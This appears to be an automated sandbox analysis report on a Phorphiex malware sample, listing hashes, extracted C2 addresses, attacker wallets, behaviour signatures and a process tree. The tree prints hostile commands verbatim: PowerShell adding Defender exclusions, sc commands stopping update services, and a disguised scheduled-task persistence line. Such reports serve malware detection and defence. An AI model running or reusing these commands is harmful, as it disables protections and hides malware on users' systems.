Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    30-10-2024 12:46

General

  • Target

    06d07847e64f71b8d73b54d9202521d0ca2dd399553a4a93eb28f8cb24475c34.exe

  • Size

    9KB

  • MD5

    01c1d7ab632c70c1b9a69f44b99d3a8f

  • SHA1

    b939a75ae4677aedc7f0c38ad7e3b09759b6292f

  • SHA256

    06d07847e64f71b8d73b54d9202521d0ca2dd399553a4a93eb28f8cb24475c34

  • SHA512

    8b02cfe0d50e155ad710a1759ecc197309a9a26b7854d0b943aa20139c83116599d73ebe384cb3d3a9ecd3d10366f28218ce44312bc63dae771fef0019f15f4e

  • SSDEEP

    96:Ef+u6X9nSjemmYaEy8uQddxDoy9+tQGlW0fflJi01JxGEh32qhlC7tCExbmq:Ef+u6XM8J78D9+6GdvJxTh3thWxbV

Malware Config

Extracted

Family

phorphiex

C2

http://185.215.113.66/

http://91.202.233.141/

Wallets

0xCa90599132C4D88907Bd8E046540284aa468a035

TRuGGXNDM1cavQ1AqMQHG8yfxP4QWVSMN6

qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r

XryzFMFVpDUvU7famUGf214EXD3xNUSmQf

rsXCXBf9SagxV8JfC12d8Bybk84oPdMNN9

AULzfBuUAPfCGAXoG5Vq14aP9s6fx3AH4Z

LTK4xdKPAgFHPLan8kriAD7eY4heyy73mB

MP8GEm8QpYgQYaMo8oM5NQhRBgDGiLZW5Q

4BB7ckkaPTyADc8trtuwDoZxywaR4eNL5cDJ3KBjq9GraN4mUFztf7mLS7WgT7Bh7uPqpjvA4ypVwXKCJ1vvLWWAFvSmDoD

15TssKwtjMtwy4vDLcLsQUZUD2B9f7eDjw85sBNVC5LRPPnC

1BzmrjmKPKSR2hH5BeJySfiVA676E8DYaK

ltc1qt0n3f0t7vz9k0mvcswk477shrxwjhf9sj5ykrp

3PMiLynrGVZ8oEqvoqC4hXD67B1WoALR4pc

3ESHude8zUHksQg1h6hHmzY79BS36L91Yn

DLUzwvyxN1RrwjByUPPzVMdfxNRPGVRMMA

t1J6GCPCiHW1eRdjJgDDu6b1vSVmL5U7Twh

stars125f3mw4xd9htpsq4zj5w5ezm5gags37yxxh6mj

bnb1msyt0djx4ecspfxg5en0ye465kg3kmv9utzml2

bc1ppypcmu3684n648gyj62gjp2rw0xy7w3vwfamatlg29ajp4z52desafa0sr

bc1qc9edl4hzl9jyt8twdad3zjeh2df2znq96tdezd

Attributes
  • mutex

    mmn7nnm8na

  • user_agent

    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36

Extracted

Family

phorphiex

C2

http://185.215.113.84

Signatures

  • Modifies security service 2 TTPs 1 IoCs
  • Phorphiex family
  • Phorphiex payload 1 IoCs
  • Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 7 IoCs
  • Loads dropped DLL 7 IoCs
  • Windows security modification 2 TTPs 7 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1192
      • C:\Users\Admin\AppData\Local\Temp\06d07847e64f71b8d73b54d9202521d0ca2dd399553a4a93eb28f8cb24475c34.exe
        "C:\Users\Admin\AppData\Local\Temp\06d07847e64f71b8d73b54d9202521d0ca2dd399553a4a93eb28f8cb24475c34.exe"
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1656
        • C:\Users\Admin\AppData\Local\Temp\12719.scr
          "C:\Users\Admin\AppData\Local\Temp\12719.scr" /S
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2496
          • C:\Windows\sysppvrdnvs.exe
            C:\Windows\sysppvrdnvs.exe
            4⤵
            • Modifies security service
            • Windows security bypass
            • Executes dropped EXE
            • Loads dropped DLL
            • Windows security modification
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2712
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2804
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1952
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2832
              • C:\Windows\SysWOW64\sc.exe
                sc stop UsoSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:2404
              • C:\Windows\SysWOW64\sc.exe
                sc stop WaaSMedicSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:2084
              • C:\Windows\SysWOW64\sc.exe
                sc stop wuauserv
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:2628
              • C:\Windows\SysWOW64\sc.exe
                sc stop DoSvc
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:2112
              • C:\Windows\SysWOW64\sc.exe
                sc stop BITS /wait
                6⤵
                • Launches sc.exe
                • System Location Discovery: System Language Discovery
                PID:2776
            • C:\Users\Admin\AppData\Local\Temp\475813296.exe
              C:\Users\Admin\AppData\Local\Temp\475813296.exe
              5⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1700
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:936
                • C:\Windows\system32\reg.exe
                  reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                  7⤵
                    PID:2200
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1748
                  • C:\Windows\system32\schtasks.exe
                    schtasks /delete /f /tn "Windows Upgrade Manager"
                    7⤵
                      PID:1140
                • C:\Users\Admin\AppData\Local\Temp\79404622.exe
                  C:\Users\Admin\AppData\Local\Temp\79404622.exe
                  5⤵
                  • Executes dropped EXE
                  PID:1968
                • C:\Users\Admin\AppData\Local\Temp\827928973.exe
                  C:\Users\Admin\AppData\Local\Temp\827928973.exe
                  5⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  PID:2408
                  • C:\Users\Admin\AppData\Local\Temp\3223322323.exe
                    C:\Users\Admin\AppData\Local\Temp\3223322323.exe
                    6⤵
                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2376
                • C:\Users\Admin\AppData\Local\Temp\2227220710.exe
                  C:\Users\Admin\AppData\Local\Temp\2227220710.exe
                  5⤵
                  • Executes dropped EXE
                  PID:2844
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
            2⤵
            • Command and Scripting Interpreter: PowerShell
            PID:2464

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VUUZQMCA\1[1]

          Filesize

          108KB

          MD5

          1fcb78fb6cf9720e9d9494c42142d885

          SHA1

          fef9c2e728ab9d56ce9ed28934b3182b6f1d5379

          SHA256

          84652bb8c63ca4fd7eb7a2d6ef44029801f3057aa2961867245a3a765928dd02

          SHA512

          cdf58e463af1784aea86995b3e5d6b07701c5c4095e30ec80cc901ffd448c6f4f714c521bf8796ffa8c47538bf8bf5351e157596efaa7ab88155d63dc33f7dc3

        • C:\Users\Admin\AppData\Local\Temp\2227220710.exe

          Filesize

          13KB

          MD5

          5a0d146f7a911e98da8cc3c6de8acabf

          SHA1

          4ec56b14a08c897a5e9e85f5545b6c976a0be3c1

          SHA256

          bf61e77b7c49ce3346a28d8bc084c210618ea6ec5f3cfa9ae8f4aa4d64e145f1

          SHA512

          6d1526a5f467535d51b7f9b3a7af2d54512526e2523e3048082277b83b6e1a1f0d7e3c617405898f240ae84a16163bc47886d8541a016b31c51dfadf9da713e1

        • C:\Users\Admin\AppData\Local\Temp\3223322323.exe

          Filesize

          5.6MB

          MD5

          13b26b2c7048a92d6a843c1302618fad

          SHA1

          89c2dfc01ac12ef2704c7669844ec69f1700c1ca

          SHA256

          1753ad35ece25ab9a19048c70062e9170f495e313d7355ebbba59c38f5d90256

          SHA512

          d6aff89b61c9945002a6798617ad304612460a607ef1cfbdcb32f8932ca648bcee1d5f2e0321bb4c58c1f4642b1e0ececc1eb82450fdec7dff69b5389f195455

        • C:\Users\Admin\AppData\Local\Temp\475813296.exe

          Filesize

          8KB

          MD5

          cb8420e681f68db1bad5ed24e7b22114

          SHA1

          416fc65d538d3622f5ca71c667a11df88a927c31

          SHA256

          5850892f67f85991b31fc90f62c8b7791afeb3c08ae1877d857aa2b59471a2ea

          SHA512

          baaabcc4ad5d409267a34ed7b20e4afb4d247974bfc581d39aae945e5bf8a673a1f8eacae2e6783480c8baaeb0a80d028274a202d456f13d0af956afa0110fdf

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\48BSJWT157U2F5Z77CZ1.temp

          Filesize

          7KB

          MD5

          05666c54738a4ebbc8f935b8380984e8

          SHA1

          8bff173d7242fcdaa1071cac919026602dc60ae5

          SHA256

          6ffb7b98913306fa5da52330840c6f97d2cf7d2eebf6c819962c721b9b1ab696

          SHA512

          be7db0f11b0201fb450e1e5cb41b74aec93fa1aa71608aa83586ee6e3b55b510f507b9ae13cd2b8ba94fc364bed1a1ff622b017e044a009ce6ceabf4a9c14257

        • \Users\Admin\AppData\Local\Temp\12719.scr

          Filesize

          83KB

          MD5

          06560b5e92d704395bc6dae58bc7e794

          SHA1

          fbd3e4ae28620197d1f02bfc24adaf4ddacd2372

          SHA256

          9eaaadf3857e4a3e83f4f78d96ab185213b6528c8e470807f9d16035daadf33d

          SHA512

          b55b49fc1bd526c47d88fcf8a20fcaed900bfb291f2e3e1186ec196a87127ed24df71385ae04fedcc802c362c4ebf38edfc182013febf4496ddeb66ce5195ee3

        • \Users\Admin\AppData\Local\Temp\79404622.exe

          Filesize

          15KB

          MD5

          0c37ee292fec32dba0420e6c94224e28

          SHA1

          012cbdddaddab319a4b3ae2968b42950e929c46b

          SHA256

          981d724feebc36777e99513dc061d1f009e589f965c920797285c46d863060d1

          SHA512

          2b60b571c55d0441ba0cfc695f9db5cd12660ebec7effc7e893c3b7a1c6cb6149df487c31b8d748697e260cbc4af29331592b705ea9638f64a711c7a6164628b

        • \Users\Admin\AppData\Local\Temp\827928973.exe

          Filesize

          10KB

          MD5

          96509ab828867d81c1693b614b22f41d

          SHA1

          c5f82005dbda43cedd86708cc5fc3635a781a67e

          SHA256

          a9de2927b0ec45cf900508fec18531c04ee9fa8a5dfe2fc82c67d9458cf4b744

          SHA512

          ff603117a06da8fb2386c1d2049a5896774e41f34d05951ecd4e7b5fc9da51a373e3fcf61af3577ff78490cf898471ce8e71eae848a12812fe98cd7e76e1a9ca

        • memory/1700-43-0x000000013FA30000-0x000000013FA36000-memory.dmp

          Filesize

          24KB